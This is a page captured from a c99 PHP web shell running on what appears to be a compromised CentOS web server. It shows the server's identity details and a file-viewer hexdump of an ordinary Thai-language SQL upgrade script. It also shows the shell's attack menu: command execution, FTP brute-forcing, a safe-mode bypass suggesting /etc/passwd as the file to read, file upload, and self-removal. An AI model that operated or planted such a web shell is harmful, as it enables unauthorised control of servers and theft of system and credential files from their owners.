!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/upgradeDB11Nov2551/   drwxr-xr-x
Free 52.3 GB of 127.8 GB (40.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     upgradeUMS16Sep2551.sql (740 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Information:
Path /var/www/html/upgradeDB11Nov2551/upgradeUMS16Sep2551.sql
Size 740 B
MD5 b8864f5ab55a1fc32c821b9e09f3cb23
Owner/Group apache/root
Perms-rw-r--r--
Create time 05/09/2012 17:45:15
Access time 31/07/2024 11:34:15
MODIFY time 07/11/2008 11:58:30

FULL HEXDUMP
00000000
00000018
00000030
00000048
00000060
00000078
00000090
000000A8
000000C0
000000D8
000000F0
00000108
00000120
00000138
00000150
00000168
00000180
00000198
000001B0
000001C8
000001E0
000001F8
00000210
00000228
00000240
00000258
00000270
00000288
000002A0
000002B8
000002D0
53 45 54 20 4E 41 4D 45 53 20 27 74 69 73 36 32 30 27 3B 0D 0A 55 53 45
20 75 6D 73 3B 0D 0A 0D 0A 2D 2D 20 31 36 53 65 70 32 35 35 31 0D 0A 49
4E 53 45 52 54 20 49 4E 54 4F 20 60 75 6D 6D 65 6E 75 60 20 56 41 4C 55
45 53 28 31 36 2C 20 31 37 38 32 2C 20 35 2C 20 27 27 2C 20 27 C3 D2 C2
A7 D2 B9 C3 D2 C2 AA D7 E8 CD D2 A8 D2 C3 C2 EC B7 D5 E8 C2 D1 A7 E4 C1
E8 E4 B4 E9 B7 D3 A1 D2 C3 BB C3 D0 E0 C1 D4 B9 27 2C 20 27 72 65 70 6F
72 74 54 65 61 63 68 65 72 4E 6F 74 41 73 73 27 2C 20 27 73 65 61 72 63
68 54 52 65 70 43 6C 6F 73 65 44 61 74 65 2E 70 68 70 27 2C 20 27 27 2C
20 27 27 2C 20 30 2C 20 27 27 2C 20 31 36 36 30 2C 20 31 29 3B 0D 0A 0D
0A 2D 2D 20 32 34 4F 63 74 32 35 35 31 0D 0A 49 4E 53 45 52 54 20 49 4E
54 4F 20 60 75 6D 6D 65 6E 75 60 20 56 41 4C 55 45 53 28 32 2C 20 31 37
38 33 2C 20 35 2C 20 27 27 2C 20 27 A2 E9 CD C1 D9 C5 CB B9 E8 C7 C2 A7
D2 B9 B7 D5 E8 CA D1 A7 A1 D1 B4 27 2C 20 27 2D 27 2C 20 27 61 64 64 44
65 70 61 72 74 6D 65 6E 74 2E 70 68 70 27 2C 20 27 27 2C 20 27 27 2C 20
30 2C 20 27 27 2C 20 31 36 32 37 2C 20 32 29 3B 0D 0A 49 4E 53 45 52 54
20 49 4E 54 4F 20 60 75 6D 6D 65 6E 75 60 20 56 41 4C 55 45 53 28 32 2C
20 31 37 38 34 2C 20 34 2C 20 27 27 2C 20 27 A1 D3 CB B9 B4 BA D8 A4 C5
D2 A1 C3 E3 B9 CB B9 E8 C7 C2 A7 D2 B9 B7 D5 E8 CA D1 A7 A1 D1 B4 27 2C
20 27 2D 27 2C 20 27 61 64 64 4F 46 49 6E 44 50 2E 70 68 70 27 2C 20 27
27 2C 20 27 27 2C 20 30 2C 20 27 27 2C 20 34 30 2C 20 31 29 3B 0D 0A 49
4E 53 45 52 54 20 49 4E 54 4F 20 60 75 6D 6D 65 6E 75 60 20 56 41 4C 55
45 53 28 32 2C 20 31 37 38 35 2C 20 34 2C 20 27 27 2C 20 27 A1 D3 CB B9
B4 BC D9 E9 A8 D1 B4 B5 D2 C3 D2 A7 CA CD B9 27 2C 20 27 2D 27 2C 20 27
61 64 64 4F 46 53 65 74 54 54 2E 70 68 70 27 2C 20 27 27 2C 20 27 27 2C
20 30 2C 20 27 27 2C 20 35 38 2C 20 31 29 3B 0D 0A 0D 0A 2D 2D 20 37 4E
6F 76 32 35 35 31 0D 0A 41 4C 54 45 52 20 54 41 42 4C 45 20 60 75 6D 66
69 6C 65 75 70 64 61 74 65 60 20 43 48 41 4E 47 45 20 60 66 69 6C 65 6E
61 6D 65 31 60 20 60 66 69 6C 65 6E 61 6D 65 31 60 20 56 41 52 43 48 41
52 28 20 32 35 35 20 29 20 4E 55 4C 4C 20 2C 0D 0A 43 48 41 4E 47 45 20
60 66 69 6C 65 6E 61 6D 65 32 60 20 60 66 69 6C 65 6E 61 6D 65 32 60 20
56 41 52 43 48 41 52 28 20 32 35 35 20 29 20 4E 55 4C 4C 3B
SET NAMES 'tis620';  USE
 ums;    -- 16Sep2551  I
NSERT INTO `ummenu` VALU
ES(16, 1782, 5, '', 'ราย
งานรายชื่อาจารย์ที่ยังไม
่ได้ทำการประเมิน', 'repo
rtTeacherNotAss', 'searc
hTRepCloseDate.php', '',
 '', 0, '', 1660, 1);   
 -- 24Oct2551  INSERT IN
TO `ummenu` VALUES(2, 17
83, 5, '', 'ข้อมูลหน่วยง
านที่สังกัด', '-', 'addD
epartment.php', '', '', 
0, '', 1627, 2);  INSERT
 INTO `ummenu` VALUES(2,
 1784, 4, '', 'กำหนดบุคล
ากรในหน่วยงานที่สังกัด',
 '-', 'addOFInDP.php', '
', '', 0, '', 40, 1);  I
NSERT INTO `ummenu` VALU
ES(2, 1785, 4, '', 'กำหน
ดผู้จัดตารางสอน', '-', '
addOFSetTT.php', '', '',
 0, '', 58, 1);    -- 7N
ov2551  ALTER TABLE `umf
ileupdate` CHANGE `filen
ame1` `filename1` VARCHA
R( 255 ) NULL ,  CHANGE 
`filename2` `filename2` 
VARCHAR( 255 ) NULL;

HEXDUMP: [Full] [Preview]
Base64:
[Encode [+chunk [+chunk+quotes [Decode


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0099 ]--